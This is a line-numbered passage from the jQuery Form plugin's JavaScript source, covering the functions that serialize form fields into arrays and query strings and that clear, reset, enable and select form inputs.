1127 if ($.isFunction(filtering)) {
1128 els = $.map(els, filtering);
1129 }
1130
1131 var i, j, n, v, el, max, jmax;
1132
1133 for (i = 0, max = els.length; i < max; i++) {
1134 el = els[i];
1135 n = el.name;
1136 if (!n || el.disabled) {
1137 continue;
1138 }
1139
1140 if (semantic && form.clk && el.type === 'image') {
1141 // handle image inputs on the fly when semantic == true
1142 if (form.clk === el) {
1143 a.push({name: n, value: $(el).val(), type: el.type});
1144 a.push({name: n + '.x', value: form.clk_x}, {name: n + '.y', value: form.clk_y});
1145 }
1146 continue;
1147 }
1148
1149 v = $.fieldValue(el, true);
1150 if (v && v.constructor === Array) {
1151 if (elements) {
1152 elements.push(el);
1153 }
1154 for (j = 0, jmax = v.length; j < jmax; j++) {
1155 a.push({name: n, value: v[j]});
1156 }
1157
1158 } else if (feature.fileapi && el.type === 'file') {
1159 if (elements) {
1160 elements.push(el);
1161 }
1162
1163 var files = el.files;
1164
1165 if (files.length) {
1166 for (j = 0; j < files.length; j++) {
1167 a.push({name: n, value: files[j], type: el.type});
1168 }
1169 } else {
1170 // #180
1171 a.push({name: n, value: '', type: el.type});
1172 }
1173
1174 } else if (v !== null && typeof v !== 'undefined') {
1175 if (elements) {
1176 elements.push(el);
1177 }
1178 a.push({name: n, value: v, type: el.type, required: el.required});
1179 }
1180 }
1181
1182 if (!semantic && form.clk) {
1183 // input type=='image' are not found in elements array! handle it here
1184 var $input = $(form.clk), input = $input[0];
1185
1186 n = input.name;
1187
1188 if (n && !input.disabled && input.type === 'image') {
1189 a.push({name: n, value: $input.val()});
1190 a.push({name: n + '.x', value: form.clk_x}, {name: n + '.y', value: form.clk_y});
1191 }
1192 }
1193
1194 return a;
1195 };
1196
1197 /**
1198 * Serializes form data into a 'submittable' string. This method will return a string
1199 * in the format: name1=value1&amp;name2=value2
1200 */
1201 $.fn.formSerialize = function(semantic) {
1202 // hand off to jQuery.param for proper encoding
1203 return $.param(this.formToArray(semantic));
1204 };
1205
1206 /**
1207 * Serializes all field elements in the jQuery object into a query string.
1208 * This method will return a string in the format: name1=value1&amp;name2=value2
1209 */
1210 $.fn.fieldSerialize = function(successful) {
1211 var a = [];
1212
1213 this.each(function() {
1214 var n = this.name;
1215
1216 if (!n) {
1217 return;
1218 }
1219
1220 var v = $.fieldValue(this, successful);
1221
1222 if (v && v.constructor === Array) {
1223 for (var i = 0, max = v.length; i < max; i++) {
1224 a.push({name: n, value: v[i]});
1225 }
1226
1227 } else if (v !== null && typeof v !== 'undefined') {
1228 a.push({name: this.name, value: v});
1229 }
1230 });
1231
1232 // hand off to jQuery.param for proper encoding
1233 return $.param(a);
1234 };
1235
1236 /**
1237 * Returns the value(s) of the element in the matched set. For example, consider the following form:
1238 *
1239 * <form><fieldset>
1240 * <input name="A" type="text">
1241 * <input name="A" type="text">
1242 * <input name="B" type="checkbox" value="B1">
1243 * <input name="B" type="checkbox" value="B2">
1244 * <input name="C" type="radio" value="C1">
1245 * <input name="C" type="radio" value="C2">
1246 * </fieldset></form>
1247 *
1248 * var v = $('input[type=text]').fieldValue();
1249 * // if no values are entered into the text inputs
1250 * v === ['','']
1251 * // if values entered into the text inputs are 'foo' and 'bar'
1252 * v === ['foo','bar']
1253 *
1254 * var v = $('input[type=checkbox]').fieldValue();
1255 * // if neither checkbox is checked
1256 * v === undefined
1257 * // if both checkboxes are checked
1258 * v === ['B1', 'B2']
1259 *
1260 * var v = $('input[type=radio]').fieldValue();
1261 * // if neither radio is checked
1262 * v === undefined
1263 * // if first radio is checked
1264 * v === ['C1']
1265 *
1266 * The successful argument controls whether or not the field element must be 'successful'
1267 * (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls).
1268 * The default value of the successful argument is true. If this value is false the value(s)
1269 * for each element is returned.
1270 *
1271 * Note: This method *always* returns an array. If no valid value can be determined the
1272 * array will be empty, otherwise it will contain one or more values.
1273 */
1274 $.fn.fieldValue = function(successful) {
1275 for (var val = [], i = 0, max = this.length; i < max; i++) {
1276 var el = this[i];
1277 var v = $.fieldValue(el, successful);
1278
1279 if (v === null || typeof v === 'undefined' || (v.constructor === Array && !v.length)) {
1280 continue;
1281 }
1282
1283 if (v.constructor === Array) {
1284 $.merge(val, v);
1285 } else {
1286 val.push(v);
1287 }
1288 }
1289
1290 return val;
1291 };
1292
1293 /**
1294 * Returns the value of the field element.
1295 */
1296 $.fieldValue = function(el, successful) {
1297 var n = el.name, t = el.type, tag = el.tagName.toLowerCase();
1298
1299 if (typeof successful === 'undefined') {
1300 successful = true;
1301 }
1302
1303 /* eslint-disable no-mixed-operators */
1304 if (successful && (!n || el.disabled || t === 'reset' || t === 'button' ||
1305 (t === 'checkbox' || t === 'radio') && !el.checked ||
1306 (t === 'submit' || t === 'image') && el.form && el.form.clk !== el ||
1307 tag === 'select' && el.selectedIndex === -1)) {
1308 /* eslint-enable no-mixed-operators */
1309 return null;
1310 }
1311
1312 if (tag === 'select') {
1313 var index = el.selectedIndex;
1314
1315 if (index < 0) {
1316 return null;
1317 }
1318
1319 var a = [], ops = el.options;
1320 var one = (t === 'select-one');
1321 var max = (one ? index + 1 : ops.length);
1322
1323 for (var i = (one ? index : 0); i < max; i++) {
1324 var op = ops[i];
1325
1326 if (op.selected && !op.disabled) {
1327 var v = op.value;
1328
1329 if (!v) { // extra pain for IE...
1330 v = (op.attributes && op.attributes.value && !(op.attributes.value.specified)) ? op.text : op.value;
1331 }
1332
1333 if (one) {
1334 return v;
1335 }
1336
1337 a.push(v);
1338 }
1339 }
1340
1341 return a;
1342 }
1343
1344 return $(el).val().replace(rCRLF, '\r\n');
1345 };
1346
1347 /**
1348 * Clears the form data. Takes the following actions on the form's input fields:
1349 * - input text fields will have their 'value' property set to the empty string
1350 * - select elements will have their 'selectedIndex' property set to -1
1351 * - checkbox and radio inputs will have their 'checked' property set to false
1352 * - inputs of type submit, button, reset, and hidden will *not* be effected
1353 * - button elements will *not* be effected
1354 */
1355 $.fn.clearForm = function(includeHidden) {
1356 return this.each(function() {
1357 $('input,select,textarea', this).clearFields(includeHidden);
1358 });
1359 };
1360
1361 /**
1362 * Clears the selected form elements.
1363 */
1364 $.fn.clearFields = $.fn.clearInputs = function(includeHidden) {
1365 var re = /^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i; // 'hidden' is not in this list
1366
1367 return this.each(function() {
1368 var t = this.type, tag = this.tagName.toLowerCase();
1369
1370 if (re.test(t) || tag === 'textarea') {
1371 this.value = '';
1372
1373 } else if (t === 'checkbox' || t === 'radio') {
1374 this.checked = false;
1375
1376 } else if (tag === 'select') {
1377 this.selectedIndex = -1;
1378
1379 } else if (t === 'file') {
1380 if (/MSIE/.test(navigator.userAgent)) {
1381 $(this).replaceWith($(this).clone(true));
1382 } else {
1383 $(this).val('');
1384 }
1385
1386 } else if (includeHidden) {
1387 // includeHidden can be the value true, or it can be a selector string
1388 // indicating a special test; for example:
1389 // $('#myForm').clearForm('.special:hidden')
1390 // the above would clean hidden inputs that have the class of 'special'
1391 if ((includeHidden === true && /hidden/.test(t)) ||
1392 (typeof includeHidden === 'string' && $(this).is(includeHidden))) {
1393 this.value = '';
1394 }
1395 }
1396 });
1397 };
1398
1399
1400 /**
1401 * Resets the form data or individual elements. Takes the following actions
1402 * on the selected tags:
1403 * - all fields within form elements will be reset to their original value
1404 * - input / textarea / select fields will be reset to their original value
1405 * - option / optgroup fields (for multi-selects) will defaulted individually
1406 * - non-multiple options will find the right select to default
1407 * - label elements will be searched against its 'for' attribute
1408 * - all others will be searched for appropriate children to default
1409 */
1410 $.fn.resetForm = function() {
1411 return this.each(function() {
1412 var el = $(this);
1413 var tag = this.tagName.toLowerCase();
1414
1415 switch (tag) {
1416 case 'input':
1417 this.checked = this.defaultChecked;
1418 // fall through
1419
1420 case 'textarea':
1421 this.value = this.defaultValue;
1422
1423 return true;
1424
1425 case 'option':
1426 case 'optgroup':
1427 var select = el.parents('select');
1428
1429 if (select.length && select[0].multiple) {
1430 if (tag === 'option') {
1431 this.selected = this.defaultSelected;
1432 } else {
1433 el.find('option').resetForm();
1434 }
1435 } else {
1436 select.resetForm();
1437 }
1438
1439 return true;
1440
1441 case 'select':
1442 el.find('option').each(function(i) { // eslint-disable-line consistent-return
1443 this.selected = this.defaultSelected;
1444 if (this.defaultSelected && !el[0].multiple) {
1445 el[0].selectedIndex = i;
1446
1447 return false;
1448 }
1449 });
1450
1451 return true;
1452
1453 case 'label':
1454 var forEl = $(el.attr('for'));
1455 var list = el.find('input,select,textarea');
1456
1457 if (forEl[0]) {
1458 list.unshift(forEl[0]);
1459 }
1460
1461 list.resetForm();
1462
1463 return true;
1464
1465 case 'form':
1466 // guard against an input with the name of 'reset'
1467 // note that IE reports the reset function as an 'object'
1468 if (typeof this.reset === 'function' || (typeof this.reset === 'object' && !this.reset.nodeType)) {
1469 this.reset();
1470 }
1471
1472 return true;
1473
1474 default:
1475 el.find('form,input,label,select,textarea').resetForm();
1476
1477 return true;
1478 }
1479 });
1480 };
1481
1482 /**
1483 * Enables or disables any matching elements.
1484 */
1485 $.fn.enable = function(b) {
1486 if (typeof b === 'undefined') {
1487 b = true;
1488 }
1489
1490 return this.each(function() {
1491 this.disabled = !b;
1492 });
1493 };
1494
1495 /**
1496 * Checks/unchecks any matching checkboxes or radio buttons and
1497 * selects/deselects and matching option elements.
1498 */
1499 $.fn.selected = function(select) {
1500 if (typeof select === 'undefined') {
1501 select = true;
1502 }
1503
1504 return this.each(function() {
1505 var t = this.type;
1506
1507 if (t === 'checkbox' || t === 'radio') {
1508 this.checked = select;
1509
1510 } else if (this.tagName.toLowerCase() === 'option') {
1511 var $sel = $(this).parent('select');
1512
1513 if (select && $sel[0] && $sel[0].type === 'select-one') {
1514 // deselect all other options
1515 $sel.find('option').selected(false);
1516 }
1517
1518 this.selected = select;
1519 }
1520 });
1521 };
1522
1523 // expose debug var
1524 $.fn.ajaxSubmit.debug = false;
1525
1526 // helper fn for console logging
1527 function log() {
1528 if (!$.fn.ajaxSubmit.debug) {
1529 return;
1530 }
1531
1532 var msg = '[jquery.form] ' + Array.prototype.join.call(arguments, '');
1533
1534 if (window.console && window.console.log) {
1535 window.console.log(msg);
1536
1537 } else if (window.opera && window.opera.postError) {
1538 window.opera.postError(msg);
1539 }
1540 }
1541}));
1542